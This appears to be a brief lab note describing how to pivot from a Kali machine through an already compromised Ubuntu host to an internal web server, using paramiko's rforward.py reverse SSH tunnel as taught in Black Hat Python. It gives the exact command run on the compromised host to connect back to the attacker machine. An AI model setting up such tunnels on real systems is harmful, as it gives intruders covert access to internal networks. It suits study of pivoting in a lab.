Python SSH Tunnel

Goal and Scenario:

  • - Access web server from Kali machine. 
  • - Kali machine have no access to web server directly
  • - Assuming Ubuntu machine already compromised, running python script inside.

 

Note:

  1. 192.168.1.225 = Kali machine
  2. 192.168.56.2 = Web server

 

Steps:

1. Setting up Kali machine as SSH Server

2. Running python script rforward.py from paramiko, inside Ubuntu machine *

3. When tunnel established, testing by opening browser in Kali machine.

 

*python rforward.py 192.168.1.225 -p 8080 -r 192.168.56.2 --user paul --password

 

Source : Black Hat Python - Justin Seitz - No Starch Press